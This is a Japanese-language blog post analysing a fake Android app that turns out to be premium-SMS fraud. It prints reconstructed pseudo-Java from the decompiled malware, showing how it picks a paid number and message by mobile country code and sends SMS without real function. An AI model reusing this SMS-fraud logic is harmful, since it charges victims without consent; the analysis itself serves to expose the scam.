APKをダウンロードして解凍した後（APKは単なるZIPアーカイブであることを思い出してください）、Fryazino からの目撃者と「アプリケーション」自体を含む153個のPNGファイル（何らかの理由で.tempに名前が変更されました）の「詰め込み」を示しました...
予想どおり、元のアプリケーションには何も残っていませんでした。 アイコンもコードもありません。 そして、さらに調査すると（どうやら） androides-os.comのすべてのファイルはまったく同じプログラムです！ 異なるセクションからいくつかの異なるプログラムをダウンロードしましたが、それらはすべて同じサイズで同じコンテンツでした！
内部には、リソースの簡単な分析によると、SMSを送信してアクティベーションを要求するアプリケーションであることが判明したものがありました。 どこで何が起こるかを把握してみましょう...
APKから純粋なJavaコードを取得することはできませんが、VM Dalvikから一連の指示を取得できます。VMDalvikは、追加のソフトウェアなしで目で完全に読み取ることができます。 Android SDKのdexdumpユーティリティを使用して、Dalvik命令のセットをファイルにダンプします...
dexdump -d -f -h classes.dex > dump.dump
アプリケーションがSMSを送信していることを前提としているため、文字列 " sendTextMessage "のダンプを調べてみましょう。これは、テキストメッセージを送信するためのSDK関数です。 検索は成功し、 activate（）メソッドに1回出現します
簡単に言えば、このメソッドの主な詳細（dalvik命令の手動の「逆コンパイル」によって取得されます）：
// private HashMap<String, ActivationScheme> activationSchemes; // private static String CURRENT_ACTIVATION_SCHEME = "1"; ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME); ArrayList<Pair<String, String>> l = o.list; // first - // second - ? for(Pair o2: l) { StringBuilder b; String sec = String.valueOf(o2.second); // WTF??? b = new StringBuilder(sec); b.append("+"); String s3 = schemes.get("2"); // private HashMap<String, String> schemes; b.append(s3); String result = b.toString(); // "pair.second"+schemes[2] String frst = o2.first; // v1 // mgr == TelephonyManager mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null); }
つまり 行のペアのリストで構成される「アクティベーションスキーム」の特定のセットがあり、その1つはSMSを送信する番号であり、もう1つは送信するものです。
アクティベーションスキームを見つけてみましょう...ダンプには、このコードを見つけることができるinitActivationSchemesメソッドがあります。
ArrayList al = new ArrayList(); if("250".equals(currentMCC)) { // MCC == Mobile Country Code ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>(); Pair<String, String> p = new Pair<String, String>("4129", "bb031"); aP.add(p); p = new Pair<String, String>("4129", "bb031"); aP.add(p); ActivationScheme sc = new ActivationScheme(aP); activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc); }
つまり ロシア（ MCC == 250 ）の場合、2つのSMSを番号4129に送信することでアクティベーションスキームが作成されます... MCC 250に加えて、このメソッドには他の国コードがあり、それに応じてアクティベーションスキームがあります。 国ごとに、特定の支払番号が選択されました。
ここには混乱があります。 250がロシアであるという事実にもかかわらず、4129番（少なくとも私が見つけた情報から）はウクライナ人としての道を歩んでいます。 「逆コンパイル」中に間違いを犯し、誤ってウクライナのコードをロシアのブロックに「書き」ました...
実際にアプリケーションがどのように見えるか...
インストールはそれです：
起動時には、すべてが非常に簡単です。
「オファー」もあります。
同じ「オファー」はここで入手できるようです： http : //depositfmobi.ru/ofert
アプリケーションパッケージの名前com.depositmobiでサイトにアクセスしました。
興味深いのは、depositmobiとQIP.FilesとRapidshareを同時に使用することです！
結果は何ですか？ 詐欺の非常に簡単な方法。 Webサイトを作成し、必要なキーワードでSEOをポンプし、テーマニュースをそこに送り、SMSを有料番号に送信するための最も簡単なプログラムを入力し、お尻をカバーする「オファー」を提供します。